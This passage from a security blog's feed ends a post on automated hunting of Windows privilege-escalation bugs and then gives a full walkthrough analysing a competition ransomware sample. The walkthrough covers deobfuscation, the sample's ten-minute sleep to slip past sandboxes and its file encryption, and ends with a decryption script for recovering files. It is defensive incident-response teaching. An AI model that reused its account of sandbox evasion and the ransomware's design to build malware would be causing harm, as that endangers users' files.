</ul>

<p>Sandboxie Plus v0.7.2</p>
<ul>
  <li><a href="https://www.exploit-db.com/exploits/49631">https://www.exploit-db.com/exploits/49631</a></li>
  <li><a href="https://exchange.xforce.ibmcloud.com/vulnerabilities/197937">https://exchange.xforce.ibmcloud.com/vulnerabilities/197937</a></li>
</ul>

<p>AnyTXT Searcher 1.2.394</p>
<ul>
  <li><a href="https://www.exploit-db.com/exploits/49549">https://www.exploit-db.com/exploits/49549</a></li>
  <li><a href="https://exchange.xforce.ibmcloud.com/vulnerabilities/196532">https://exchange.xforce.ibmcloud.com/vulnerabilities/196532</a></li>
</ul>

<p>The findings were “mined” in approximately 15 days. Even though a significant part of the process is automated and there is no interaction needed during the analysis phase, reporting, keeping track of the issues and emails, and explaining the problems to the developers are time-consuming tasks. Also, reporting vulnerabilities for free is not very motivating, but in general, I recommend running it for a bit if you have the time and the hardware resources. I am sure the internet is full of applications that have easy-to-spot vulnerabilities.</p>

<h2 id="contribution">Contribution</h2>
<p>If you want to contribute, I have a couple of ideas you might like:</p>
<ul>
  <li>You can integrate fuzzing tools: for example, detect newly opened ports and start fuzzing them using generic boofuzz templates.</li>
  <li>You can add Linux binary support!</li>
  <li>You can improve the image recognition accuracy of the Windows installation scripts <code class="language-plaintext highlighter-rouge">main.py</code> or <code class="language-plaintext highlighter-rouge">main_keys.py</code> or add new modules that can read installation wizards to cover edge cases.</li>
  <li>You can research the idea of replacing virtual machines with windows containers.</li>
</ul>

<h3 id="legal-statement">Legal statement</h3>
<p>Everything in this post and <a href="https://github.com/M507/Miner">Miner’s repository</a> focuses on automated static analysis. No dynamic testing was performed.</p>]]></content><author><name>Mohammed Alshehri</name></author><category term="vulnerability-research" /><category term="lpe" /><category term="windows" /><category term="cve" /><category term="automation" /><category term="virtualization" /><category term="exploit-development" /><category term="static-analysis" /><category term="unquoted-service-path" /><category term="thick-clients" /><summary type="html"><![CDATA[Miner automates hunting local privilege-escalation bugs in Windows applications and led to more than 40 LPEs and 12 CVEs.]]></summary></entry><entry><title type="html">Walkthrough: The detection and analysis of the ransomware incident in IRSeC 2021</title><link href="https://shellcode.blog/Walkthrough-Ransomware-Incident-IRSec/" rel="alternate" type="text/html" title="Walkthrough: The detection and analysis of the ransomware incident in IRSeC 2021" /><published>2021-07-02T00:00:00+00:00</published><updated>2021-07-02T00:00:00+00:00</updated><id>https://shellcode.blog/Walkthrough-Ransomware-Incident-IRSec</id><content type="html" xml:base="https://shellcode.blog/Walkthrough-Ransomware-Incident-IRSec/"><![CDATA[<p>TLDR; This post is a walkthrough of the detection and analysis of the ransomware incident that was deployed as an extra/hidden inject in IRSeC 2021. If you were one of the blue teamers in that competition and couldn’t analyze and recover from it, this walkthrough will help you understand how it works and help you learn how to recover the infected files.</p>

<p>I would not suggest executing the virus in an environment that is not a testing environment. This post doesn’t go through the safety requirements you need before running malicious files on your computer. Download the malware and test it at your own risk.</p>

<h2 id="investigation">Investigation</h2>

<p>After a couple of minutes of running the ransomware, 55 warnings/events show up.</p>

<p>When investigating warnings, we begin with the key questions. we start with the five W’s and one H; who, what, when, where, why, and how. That will help you understand the events and map the suspicious ones together.</p>

<p><img src="/images/IReC2021RansomwareInj/52.png" alt="1" /></p>

<p>If we look at the alerts and answer some of these questions, we can have a good idea of what is happening behind the scenes. SO Hunt page shows many file manipulation events and other irrelative events occurring after the execution. We received more than 55 events of file deletion. Using the information we get from the file deletion events, we can find other events that are related to events found in the beginning and map everything together.</p>

<p>The malware that was launched was dropped at C:\tmp\ and named test.exe. test.exe has deleted multiple files, as shown on the Hunt page. If we login into the Windows VM where the incident happened, we will also see that the files now end with .locked extension:</p>

<p><img src="/images/IReC2021RansomwareInj/54.png" alt="1" /></p>

<p>This indicates that the VM got infected with ransomware. According to the events, the ransomware should be in /tmp, therefore let’s locate and copy it for examination.</p>

<h2 id="basic-static-analysis">Basic Static Analysis</h2>

<p>For the static analysis part, I suggest using CFF to find all the following:</p>

<h2 id="malware-fingerprints">Malware Fingerprints</h2>

<p><img src="/images/IReC2021RansomwareInj/4.png" alt="1" /></p>

<p>Using some of the hashes, we can now search for the malware online. A good efficient way to search for it is by using Google. You can find very useful commands in SANS’s Google Dorking cheat sheet:</p>

<p>https://www.sans.org/security-resources/GoogleCheatSheet.pdf</p>

<p>When I search for the malware’s hash on Google, Google doesn’t show any result.</p>

<p><img src="/images/IReC2021RansomwareInj/2.png" alt="1" /></p>

<p>That means that it probably has not been scanned before (as of the time of writing).</p>

<h2 id="portable-executable-file-format">Portable Executable File Format</h2>

<p>We can find the file format using CFF:</p>

<p><img src="/images/IReC2021RansomwareInj/7.png" alt="1" /></p>

<h2 id="finding-strings">Finding Strings</h2>

<p>The typical way to find strings is using string.exe, as almost every malware analysis book says. I personally don’t like to run strings on binaries since I don’t see it as an efficient tool. It fills the command line window to the point that strings start disappearing, and you cannot “grep” strings without re-executing the command again. Therefore, again my go-to lightweight tool is CFF.</p>

<p>However, the binary doesn’t have any unusual find paths, registry keys, and domains. It appears to be just a normal .NET binary.</p>

<h2 id="packing-and-obfuscation">Packing and Obfuscation</h2>

<p>CFF couldn’t find any type of obfuscation implementation even though it looks like it has been obfuscated.</p>

<p><img src="/images/IReC2021RansomwareInj/5.png" alt="1" /></p>

<p>“Detect It Easy” was able to find that the malware uses “Confuser(1.X)” as shown below.</p>

<p><img src="/images/IReC2021RansomwareInj/6.png" alt="1" /></p>

<p>When we google “ConfuserEx”, we find the source code that probably obfuscated this binary. The repo is this: https://github.com/XenocodeRCE/neo-ConfuserEx</p>

<h2 id="linked-libraries-and-functions">Linked Libraries and Functions</h2>

<p><img src="/images/IReC2021RansomwareInj/8.png" alt="1" /></p>

<p>.NET PEs contain a single native import. In this case it’s CorExeMain, which is used to initialize the CLR and run the managed code.</p>

<h2 id="basic-dynamic-analysis">Basic Dynamic Analysis</h2>

<p>The basic dynamic analysis includes running the malware inside sandboxes and running it on a VM, and examining it using basic monitoring tools. First, let’s start with running it inside a sandbox.</p>

<p>I recommend using online malware analysis sandboxes like virustotal since they are easy to use and they share the data with everyone.</p>

<p>The result:</p>

<p><img src="/images/IReC2021RansomwareInj/11.png" alt="1" /></p>

<p>Virustotal collected a handful of information. It found the next modules being loaded in runtime.</p>

<p><img src="/images/IReC2021RansomwareInj/12.png" alt="1" /></p>

<!-- <17>
![1](/images/IReC2021RansomwareInj/17.png) -->

<p>The majority of all of the above DLLs are usually used in malware samples, according to this Malware Data Mining paper; <a href="https://www.researchgate.net/publication/255787076_A_Static_Malware_Detection_System_Using_Data_Mining_Methods">Baldangombo, 2013</a>. The following table is taken from that paper.</p>

<p><img src="/images/IReC2021RansomwareInj/13.png" alt="1" /></p>

<p>Reading the description of each DLL gives an idea of what the malware is likely to do. The additional DLL that was loaded but not in the above table is CRYPTBASE.dll, which seems like it’s for some encryption functionalities.</p>

<h2 id="advanced-static-analysis">Advanced Static Analysis</h2>

<p>By now, we know that it’s a .NET file, which is good since we can disassemble it to one of the .NET languages. Disassembling a malware makes it relatively easy to analyze it since we can read the functions and debug them while reading a .NET language. To illustrate the differences between a “normal” executable versus a one written in .NET is that when we reverse engineer a normal executable, the disassembler will reveal a “normal” executable to x86/64 assembly, then we can use IDA to disassemble However, in .NET executables, the assembly instructions are in a different form. To read more about Assemblies in .NET, check out Microsoft’s documentation page: <a href="https://docs.microsoft.com/en-us/dotnet/standard/assembly/">https://docs.microsoft.com/en-us/dotnet/standard/assembly/</a>. Because the obfuscated malware is compiled to MSIL, we can disassemble it using one of the .NET disassemblers. To do that, I personally use <a href="https://github.com/dnSpy/dnSpy">https://github.com/dnSpy/dnSpy</a>.</p>

<p>Before we open the malware using dnSpy, press CTRL + A, then DEL to delete all the entries in dnSpy, then open the malware. To go to the starting point where the malware starts executing, Click right on the malware entry, then click on “Go to Entry Point,” as shown in the following source code.</p>

<p><img src="/images/IReC2021RansomwareInj/18.png" alt="1" /></p>

<p>When we take a look at the main function, we quickly see the obfuscation function used. With a quick googling, we find that there are multiple methods to deobfuscate it.</p>

<p>However, if you carefully analyze the main function and follow the first execution of the Decrypt method, we can understand how it works. The next screenshot shows the execution flow.</p>

<p><img src="/images/IReC2021RansomwareInj/20.png" alt="1" /></p>

<p>“Koi” is the string we found when we statically analyzed the file in the former steps. “Koi” is a name of a module that gets executed using the function LoadModule. As shown, the content of the module is taken from array2, which gets decrypted in the GChandle before it gets copied. That means at the end of line 907, the content of GChandle is the real content of the plan malware.</p>

<h2 id="advanced-dynamic-analysis">Advanced Dynamic Analysis</h2>

<p>Since we have guessed how it works, we can now start debugging the executable. Using dnSpy, we set a breakpoint at line 978, where the statement tries to get GChandle and free it. Then, start debugging the code. The expected behavior is the following:</p>

<p><img src="/images/IReC2021RansomwareInj/21.png" alt="1" /></p>

<p>At this point, we know that the contents of GChandle have not been deleted. We can dump it by clicking on Debug -&gt; Windows -&gt; Modules.  As a result, we will find “Koi” loaded on the bottom. To dump it, click right on it, then Save Module.</p>

<p>After dumping the “Koi”, open it again using dnSpy. You will clearly see a readable source code.</p>

<p><img src="/images/IReC2021RansomwareInj/23.png" alt="1" /></p>

<p>Now, we will go through each function and try to understand how it affects the system.</p>

<p>Starting from Main(), we will see that it sleeps for 10 minutes, which explains why it doesn’t do anything after it executes.</p>

<p><img src="/images/IReC2021RansomwareInj/24.png" alt="1" /></p>

<p>Before it sleeps, it uses the imported function ShowWindow() to hide the command line. This also explains why user32.dll was used.</p>

<p>After that, it executes DirSearchhelper(), which recursively gets all the files that end with the specified regular expression.</p>

<p><img src="/images/IReC2021RansomwareInj/26.png" alt="1" /></p>

<p>The passed variable is the home path of whatever operating system is running the malware.</p>

<p><img src="/images/IReC2021RansomwareInj/27.png" alt="1" /></p>

<p>That means after DirSearchhelper() finishes, filesPaths will have a list of possibly important documents. After that, the malware checks if the file “killswitch.txt” exists. This is a self-descriptive file. It is supposed to be a kill switch.</p>

<p><img src="/images/IReC2021RansomwareInj/28.png" alt="1" /></p>

<p>So if it doesn’t exist, it will execute the DirSearch() function.</p>

<p><img src="/images/IReC2021RansomwareInj/29.png" alt="1" /></p>

<p>DirSearch() shows that it goes through each file and first opens it, then encrypts it, then saves it with the extension .locked, then finally deletes the original file. This malware appears to be ransomware that encrypts the files under the home dictionary then asks for Bitcoins, as shown below:</p>

<p><img src="/images/IReC2021RansomwareInj/30.png" alt="1" /></p>

<p>To sum up, this sample is an obfuscated ransomware written in one of .NET languages. The ransomware passed the sandbox analysis since it sleeps for 10 minutes before it actually starts encrypting the user’s documents. The ransomware encrypts the following extensions: 
.txt
.doc
.docx
.xls
.xlsx
.ppt
.pptx
.sql
.jpg
.png
.csv</p>

<h2 id="recovery">Recovery</h2>

<p>Let’s investigate the encryption method. The following is a chunk from the encryption method. It shows that it uses AES with CDC mode. It uses a static initialization vector with a standard Padding method.</p>

<p><img src="/images/IReC2021RansomwareInj/31.png" alt="1" /></p>

<p>The only dynamic var in this encryption is the key, which is a random string of the below characters.</p>

<p><img src="/images/IReC2021RansomwareInj/32.png" alt="1" /></p>

<p>That means that recovering the key is certainly possible if the executable has not been exited yet. We can dump the key from memory and decrypt all the infected files.</p>

<p>To try recovering this, we can copy all the important encrypted files to a safe VM. After collecting the important file, we can write a script to read every file and decrypt it using the same cryptographic structure used in the encryption method.</p>

<p><img src="/images/IReC2021RansomwareInj/35.png" alt="1" /></p>

<p>The malware’s encryption method uses the CBC mode, PKCS7 padding, fixed initialization vector, and blocks with a size of 128. And more importantly, an unknown key that we need to extract from memory.</p>

<p>For the script, I used the python library pycrypto. According to pycrypto, AES has a fixed data block size of 16 bytes, so we need to change it and resize it in the script. For the padding, I used this class https://github.com/janglin/crypto-pkcs7-example/blob/master/pkcs7.py</p>

<p>The resulting instructions are the following:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">aes_decrypter</span> <span class="o">=</span> <span class="n">AES</span><span class="p">.</span><span class="n">new</span><span class="p">(</span><span class="n">key</span><span class="p">,</span> <span class="n">AES</span><span class="p">.</span><span class="n">MODE_CBC</span><span class="p">,</span> <span class="n">IV</span><span class="p">)</span>
<span class="n">aes_decrypter</span><span class="p">.</span><span class="n">block_size</span> <span class="o">=</span> <span class="mi">128</span>
<span class="n">clear_text</span> <span class="o">=</span> <span class="n">PKCS7Encoder</span><span class="p">().</span><span class="n">decode</span><span class="p">(</span><span class="n">aes_decrypter</span><span class="p">.</span><span class="n">decrypt</span><span class="p">(</span><span class="n">encrypted_text</span><span class="p">))</span>
<span class="k">print</span><span class="p">(</span><span class="n">clear_text</span><span class="p">)</span>
</code></pre></div></div>

<p>Now we need to find the dynamic key, but when I tried to find the key using process explorer, it didn’t show any data in the memory.</p>

<p><img src="/images/IReC2021RansomwareInj/36.png" alt="1" /></p>

<p>I am not sure why but another way to do this is by using wingdb. Attach the process to wingdb and then search for the following string:</p>

<p>s -u 0 L?80000000/2 “abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890”</p>

<p><img src="/images/IReC2021RansomwareInj/39.png" alt="1" /></p>

<p>Then search the areas near those locations you were given and you will find the key still resident in the memory.</p>

<p><img src="/images/IReC2021RansomwareInj/40.png" alt="1" /></p>

<p>Piecing everything together, we have the following script that can decrypt the same encryption method that is used in the ransomware:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">Crypto.Cipher</span> <span class="kn">import</span> <span class="n">AES</span>
<span class="kn">import</span> <span class="nn">base64</span><span class="p">,</span> <span class="n">StringIO</span><span class="p">,</span> <span class="n">binascii</span><span class="p">,</span> <span class="n">StringIO</span>

<span class="k">class</span> <span class="nc">PKCS7Encoder</span><span class="p">(</span><span class="nb">object</span><span class="p">):</span>
    <span class="k">def</span> <span class="nf">__init__</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">k</span><span class="o">=</span><span class="mi">16</span><span class="p">):</span>
       <span class="bp">self</span><span class="p">.</span><span class="n">k</span> <span class="o">=</span> <span class="n">k</span>
    <span class="k">def</span> <span class="nf">decode</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">text</span><span class="p">):</span>
        <span class="s">'''
        Remove the PKCS#7 padding from a text string
        '''</span>
        <span class="n">nl</span> <span class="o">=</span> <span class="nb">len</span><span class="p">(</span><span class="n">text</span><span class="p">)</span>
        <span class="n">val</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">binascii</span><span class="p">.</span><span class="n">hexlify</span><span class="p">(</span><span class="n">text</span><span class="p">[</span><span class="o">-</span><span class="mi">1</span><span class="p">]),</span> <span class="mi">16</span><span class="p">)</span>
        <span class="k">if</span> <span class="n">val</span> <span class="o">&gt;</span> <span class="bp">self</span><span class="p">.</span><span class="n">k</span><span class="p">:</span>
            <span class="k">raise</span> <span class="nb">ValueError</span><span class="p">(</span><span class="s">'Input is not padded or padding is corrupt'</span><span class="p">)</span>
        <span class="n">l</span> <span class="o">=</span> <span class="n">nl</span> <span class="o">-</span> <span class="n">val</span>
        <span class="k">return</span> <span class="n">text</span><span class="p">[:</span><span class="n">l</span><span class="p">]</span>

<span class="c1"># Read
</span><span class="n">file_name</span> <span class="o">=</span> <span class="s">"README.txt.locked"</span>
<span class="n">file_in</span> <span class="o">=</span> <span class="nb">open</span><span class="p">(</span><span class="n">file_name</span><span class="p">,</span> <span class="s">'rb'</span><span class="p">)</span>
<span class="n">encrypted_text</span> <span class="o">=</span> <span class="n">file_in</span><span class="p">.</span><span class="n">read</span><span class="p">()</span>
<span class="c1"># Prepare
</span><span class="n">key</span> <span class="o">=</span> <span class="nb">bytes</span><span class="p">(</span><span class="s">"kqufuwAvmcTZxQTj8x6OFNmDgisUjoi1"</span><span class="p">)</span>
<span class="n">IV</span> <span class="o">=</span> <span class="s">"PzPKZ0fuM4LIuaVa"</span>
<span class="c1"># Create
</span><span class="n">aes_decrypter</span> <span class="o">=</span> <span class="n">AES</span><span class="p">.</span><span class="n">new</span><span class="p">(</span><span class="n">key</span><span class="p">,</span> <span class="n">AES</span><span class="p">.</span><span class="n">MODE_CBC</span><span class="p">,</span> <span class="n">IV</span><span class="p">)</span>
<span class="n">aes_decrypter</span><span class="p">.</span><span class="n">block_size</span> <span class="o">=</span> <span class="mi">128</span>
<span class="c1"># Decrypt
</span><span class="n">clear_text</span> <span class="o">=</span> <span class="n">PKCS7Encoder</span><span class="p">().</span><span class="n">decode</span><span class="p">(</span><span class="n">aes_decrypter</span><span class="p">.</span><span class="n">decrypt</span><span class="p">(</span><span class="n">encrypted_text</span><span class="p">))</span>
<span class="c1"># Save
</span><span class="n">file_name</span> <span class="o">=</span> <span class="n">file_name</span><span class="p">.</span><span class="n">replace</span><span class="p">(</span><span class="s">".locked"</span><span class="p">,</span><span class="s">""</span><span class="p">)</span>
<span class="n">file_in</span> <span class="o">=</span> <span class="nb">open</span><span class="p">(</span><span class="n">file_name</span><span class="p">,</span> <span class="s">'w'</span><span class="p">)</span>
<span class="n">file_in</span><span class="p">.</span><span class="n">write</span><span class="p">(</span><span class="n">clear_text</span><span class="p">)</span>
</code></pre></div></div>

<p>Using this script, you will be able to recover your files.</p>

<p>FIN</p>

<h3 id="references">References</h3>

<ul>
  <li>
    <p>Baldangombo, Usukhbayar &amp; Horng, Shi-Jinn. (2013). A Static Malware Detection System Using Data Mining Methods. International Journal of Artificial Intelligence &amp; Applications. 4. 10.5121/ijaia.2013.4411.</p>
  </li>
  <li>
    <p>Incident Response &amp; Computer Forensics, Third Edition by Jason Luttgens, Matthew Pepe, and Kevin Mandia</p>
  </li>
  <li>
    <p><a href="https://github.com/M507/Proof-of-Concept-CSharp-Ransomware">Proof-of-Concept-CSharp-Ransomware GitHub</a></p>
  </li>
</ul>]]></content><author><name>Mohammed Alshehri</name></author><category term="incident-response" /><category term="ransomware" /><category term="irsec" /><category term="blue-team" /><category term="dfir" /><category term="malware-analysis" /><category term="csharp" /><category term="forensics" /><category term="threat-hunting" /><category term="red-vs-blue" /><summary type="html"><![CDATA[Walkthrough of detecting, analyzing, and recovering from the hidden ransomware inject used in IRSeC 2021.]]></summary></entry></feed>